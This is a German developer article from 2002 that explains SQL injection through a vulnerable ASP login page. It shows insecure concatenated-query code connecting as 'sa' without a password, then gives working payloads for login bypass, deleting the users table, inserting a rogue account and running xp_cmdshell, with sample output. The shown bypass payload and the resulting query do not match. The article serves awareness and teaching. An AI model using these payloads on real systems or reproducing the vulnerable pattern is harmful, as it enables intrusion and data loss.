DevTrain

Autor: Shinja Strasser

SQLINJECTION:Der SQL-Teufel

Bei der Entwicklung von ASP-Applikationen wie zum Beispiel Intranet, Extranet, Onlineshops, ... verwendet man nahezu überall eine Datenbank. Kennt man alleine nur die Grundlagen von Datenbanken, besser gesagt, die Grundlagen der SQL-Syntax (SQL Server, Access) kann man in sekundenschnelle großen Schaden beim Anbieter oder als Versehen im Intranet der eigenen Firma verursachen.
Viele Intranetapplikationen wie z.B IntraNaut besitzten eine Loginmaske, die beim Anmelden gewissen Rechte und Einstellungen von der Datenbank auslesen.

Betrachten wir einmal eine sehr einfache Login-Methode, die man in ASP einsetzten könnte:
<%
Connection = "Provider=SQLOLEDB.1;Data Source=IhrSQLServer;" & _
    "Initial Catalog=IhreDatenbank;User Id=sa;Password="
...
...
  sUser = trim(Request.Form("txUser"))
  sPwd  = trim(Request.Form("txPwd"))
  set oLogin = Server.CreateObject("ADODB.Recordset")
  oLogin.Open "SELECT COUNT(*) FROM users WHERE Uname = '" & sUser & "' AND Upwd = '" & sPwd & "'" , Connection
  If (oLogin.Fields(0).Value > 0) Then
    Response.Redirect "SesamOeffneDich.asp"
    Response.End
  Else
    ...
    Response.Redirect "login.asp"
    ...
  End If
...
...
%>

Einige werden jetzt behaupten, dass das SQL-Statement richtig ist. Wahrlich da wird sogar ein Ergebnis zurückgeliefert. Die Syntax ist OK. Erfahrene Datenbankentwickler dreht sich bei einem solchen Statement der Magen um. Die Syntax ist zwar richtig, der Gebrauch eines solchen Statements aber mit Vorsicht zu genießen.
Nehmen Sie einmal an, dass Sie als Entwickler oder Consultance eine externe Firma in Sachen Onlineshop beraten oder sogar -o Gott- selber bei der Entwicklung Hand anlegen. Ein weiterer Fehler der oft gemacht wird ist, dass der Supervisor der Anwendung meistens den Benutzernamen Administrator oder kurz Admin besitzt. Der SQL-Server empfängt bei dem Beispiel oben folgendes Statement:
SELECT COUNT(*) FROM users WHERE Uname = 'administrator' AND Upwd='X3ffy6gsLPPAYAZGR'

Sehr intelligentes Passwort !?! Da kommt sicher keiner als Administrator rein ! Aber auch der schlaue Fuchs findet immer in den Hühnerstall und lacht sich dabei eins. OK, was macht man da um trotzdem hineinzukommen?

GANZ EINFACH - Strings, Strings, Stings in SQL
Benutzername  ' OR '1'='1
Passwort  ' OR '1'='1

Ja, Wahnsinn ! Der SQL-Server erhält folendes Statement
SELECT COUNT(*) FROM users WHERE Uname='' OR '0'='0' AND Upwd='' OR '0'='0'

Tja, hier bekommt man die Anzahl der Benuter zurück, denn '0'='0' ist wahr, und somit stimmt die Bedingung des Statements. Ja so kommt man hier rein. Es geht aber auch noch anders !
Benutzername  ' DELETE users --
Passwort  beliebig

Der SQL-Server erhält folgendes Statement:
SELECT COUNT(*) FROM users WHERE Uname='' DELETE users --' AND Upwd=''

Das ist der worst case unter den Statements. Alle Datensätze der Tabelle users werden gelöscht. Wie ist das möglich ? Hier werden 2 Statements erzeugt. Eines davon ist ein delete-Statement gefolgt von einem Kommentar -- AND Upwd = ''. Tolle Sache :-( Hackers Heaven Doors.
Eigentlich wäre es eine wunderbare Sache, mich als Benutzer in die Datenbank zu speichern, oder ? Das fällt bestimmt keinen so schnell auf. Auch das ist hier kein Problem:-). Hier muss man unter Umständen ein wenig experimentieren, da die Spalten der Tabelle unterschiedlich angeordnet sein können und evt. noch andere Daten wie Datum, ... notwenig sind.

Nehmen wir einmal an, dass wir einige Versionen von values('','','',....) ausprobiert haben und feststellen konnten, dass die erste Spalte der Tabelle users der Benutzername ist und die zweite Spalte das Passwort. Ja, und hier gebe ich dann folgendes ein:
Benutzername  ' INSERT INTO users values('willbe','user') --
Passwort  beliebig

Der SQL-Server erhält folgendes Statement:
SELECT COUNT(*) FROM users WHERE Uname='' INSERT INTO users values('willbe','user') --' AND Upwd=''

Jetzt bin ich offizieller Benutzer des OnlineShops. Geschafft !
Aber das langweilt alles. Am besten wäre es, wenn ich NT-User wäre, und mich direkt auf den Server verbinden könnte. Ich zeige Ihnen hier die Vorarbeit, da dieser Artikel keine Hackeranleitung sein soll, sondern auf die Gefahren hinweist.
Zuerst listen wir einmal alles auf, was den Administrator der Maschine angeht.
Benutzername  ' EXEC master..xp_cmdshell 'net user administrator' --
Passwort  beliebig

Der SQL-Server erhält folgendes Statement:
SELECT COUNT(*) FROM users WHERE Uname='' EXEC master..xp_cmdshell 'net user administrator' --' AND Upwd=''

Was liefert uns das ?
Benutzername                        Administrator
Vollständiger Name                  Administrator
Beschreibung                        Vordefiniertes Konto für die Verwaltung des Computers bzw. der Domäne
Benutzerbeschreibung               
Ländereinstellung                   000 (Standardsystemvorgabe)
Konto aktiv                         Ja
Konto abgelaufen                    Nie
NULL
Letztes Setzen des Kennworts        11/24/2000 5:29 PM
Kennwort läuft ab                   Nie
Kennwort änderbar                   11/24/2000 5:29 PM
Kennwort erforderlich               Ja
Benutzer kann Kennwort ändern       Ja
NULL
Erlaubte Arbeitsstationen           Alle
Anmeldeskript                      
Benutzerprofil                     
Basisverzeichnis                   
Letzte Anmeldung                    3/19/2002 12:02 PM
NULL
Erlaubte Anmeldezeiten              Alle
NULL
Lokale Gruppenmitgliedschaften      *Administratoren     
                                    *Replikations-Operator
                                    *Server-Operatoren   
                                    *Sicherungs-Operatoren
                                    *StoreManagers       
Globale Gruppenmitgliedschaften     *Domänen-Admins                
                                    *Schema-Admins       
                                    *Organisations-Admins
                                    *Richtlinien-Ersteller
                                    *Domänen-Benutzer    
                                    *Exchange Domain Serve
                                    *Exchange Services   
Der Befehl wurde erfolgreich ausgeführt.
...
...
...

Wie Sie an die Info kommen und was da noch alles dazugehört werden ich hier nicht beschrieben. Hier endet der Artikel und ich wünsche Ihen noch gutes Schaffen !
Strasser Shinja

Erfasst am: 19.03.2002 - Artikel-URL: http://www.devtrain.de/news.aspx?artnr=730
© Copyright 2003 ppedv AG - http://www.ppedv.de